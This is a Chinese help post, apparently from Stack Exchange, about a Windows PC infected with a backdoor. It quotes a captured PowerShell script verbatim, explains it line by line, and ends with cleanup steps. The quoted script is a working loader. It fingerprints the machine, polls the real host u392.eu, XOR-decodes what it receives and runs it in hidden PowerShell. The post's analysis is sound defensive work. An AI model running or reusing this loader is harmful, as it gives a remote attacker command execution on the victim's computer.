随机运行的恶意PowerShell脚本分析与处置求助
问题概述
近期我的电脑会在随机时间弹出PowerShell窗口并立即关闭,随后Norton杀毒软件触发入侵防护警报,拦截了来自172.64.142.7的Trojan.Backdoor Activity 748攻击。已开启PowerShell会话记录并捕获到一段脚本,请求对该脚本进行详细分析,并提供对应的安全解决办法。
警报详情
- 类别:入侵防护
- 日期与时间:2023年9月9日 02:29:12
- 风险等级:高
- 活动内容:拦截了来自172.64.142.7的入侵尝试
- 状态:已拦截
- 建议操作:无需操作
- IPS警报名称:系统感染:Trojan.Backdoor Activity 748
- 默认操作:无需操作
- 已执行操作:无需操作
- 攻击计算机:172.64.142.7,80
- 攻击者URL:http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695
- 目标地址:<我的设备><我的IP>
- 源地址:172.64.142.7
- 流量描述:TCP,www-http
- 流量说明:来自http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695的网络流量匹配已知攻击特征,攻击源于\DEVICE\HARDDISKVOLUME7\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE。
捕获的PowerShell脚本
********************** Windows PowerShell 会话记录开始 开始时间: 20230909022349 用户名: \<myuser> 运行用户: \<myuser> 配置名称: 计算机: \<mymachine>(Microsoft Windows NT 10.0.19045.0) 宿主应用程序: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile 进程ID: 7128 PS版本: 5.1.19041.3031 PS版本类型: Desktop PS兼容版本: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031 构建版本: 10.0.19041.3031 CLR版本: 4.0.30319.42000 WSMan栈版本: 3.0 PS远程协议版本: 2.3 序列化版本: 1.1.0.1 ********************** PS>[Security.Cryptography.SHA256]$sha = [Security.Cryptography.SHA256]::Create() $macguid = (Get-ItemProperty ((([regex]::Matches('yhpargotpyrC\tfosorciM\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')) -Name MachineGuid).MachineGUID; $userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)"; $guid = ($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join ''; while ($true) { try { $r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)" if ($r -ne '') { $buf = [Convert]::FromBase64String($r); for ($i = 0; $i -lt $buf.Length; $i++) { $buf[$i] = $buf[$i] -bxor 22; } $lines = [Text.Encoding]::ASCII.GetString($buf).Split("`r`n"); $p = [Diagnostics.Process]::new(); $p.StartInfo.WindowStyle = 'Hidden'; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.Start(); $p.BeginOutputReadLine(); foreach ($line in $lines) { $p.StandardInput.WriteLine($line); } $p.StandardInput.WriteLine(''); $p.WaitForExit(); break; } } catch { } Start-Sleep 2 } PS>终止错误(Invoke-RestMethod): "基础连接已关闭: 发送时发生意外错误。" (直到我在任务管理器终止PowerShell,它才会停止弹出这个错误)
脚本详细分析
这段脚本是典型的后门程序,核心功能是连接远程命令与控制(C2)服务器,接收并执行恶意指令,具体拆解如下:
生成设备唯一标识
- 创建SHA256哈希对象,用于生成设备专属ID
- 通过反向字符串
'yhpargotpyrC\tfosorciM\ERAWTFOS:MLKH'得到注册表路径HKLM:SOFTWARE\Microsoft\Cryptography,读取其中的MachineGuid(设备唯一GUID) - 拼接用户域、用户名、处理器硬件信息(版本、标识符、等级、核心数)和
MachineGuid成字符串,再通过SHA256哈希转换为大写十六进制字符串,作为C2服务器识别该设备的唯一标记
循环请求C2服务器
- 进入无限循环,每2秒尝试一次请求C2服务器地址
http://u392.eu/api/v1/$guid - 若获取到非空响应,先对内容进行Base64解码,再通过字节异或22的方式解密,将解密后的字节转换为ASCII字符串并按行分割
- 启动一个隐藏的PowerShell进程,将解密后的每行指令输入到该进程中执行,执行完成后退出循环
- 进入无限循环,每2秒尝试一次请求C2服务器地址
错误处理机制
- 捕获请求过程中的异常但不做任何处理,继续循环请求,直到成功接收并执行指令,或被手动终止进程
安全解决办法
- 终止可疑进程:打开任务管理器,找到未授权启动的
powershell.exe进程,直接结束 - 全盘病毒扫描:使用Norton或其他可信杀毒软件进行全盘扫描,清除系统中残留的恶意程序和文件
- 阻断恶意通信:
- 在系统
hosts文件(路径:C:\Windows\System32\drivers\etc\hosts)中添加一行:127.0.0.1 u392.eu,阻止域名解析 - 在Windows防火墙中添加出站规则,禁止访问IP地址
172.64.142.7
- 在系统
- 检查启动项:通过任务管理器的「启动」标签或
msconfig工具,移除任何可疑的PowerShell相关启动项 - 更新系统与防护软件:确保Windows系统安装最新安全补丁,Norton病毒库更新至最新版本,修复已知漏洞
- 修改敏感密码:更改本地管理员账号密码,以及所有关联的在线账号密码,防止攻击者进一步利用
- 监控系统活动:开启PowerShell日志和系统事件日志,持续监控异常进程创建、网络请求等行为
内容的提问来源于stack exchange,提问作者Lotnx
相关产品推荐
相关产品推荐

